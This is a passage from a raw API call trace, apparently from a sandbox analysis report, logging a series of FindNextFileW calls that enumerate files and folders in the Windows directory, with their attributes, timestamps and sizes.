lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x1a473660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xc42eeb80, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4c599e10, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4c599e10, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x678d9360, ftLastAccessTime.dwHighDateTime=0x1d85957, ftLastWriteTime.dwLowDateTime=0x678d9360, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="inf", cAlternateFileName="")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6b3f9730, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x6b3f9730, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2afc3da0, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0x2afc3da0, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34aacff0, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x34aacff0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x34aacff0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xbefdda80, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x7e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1e2ecfb0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1e2ecfb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0077.740] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, 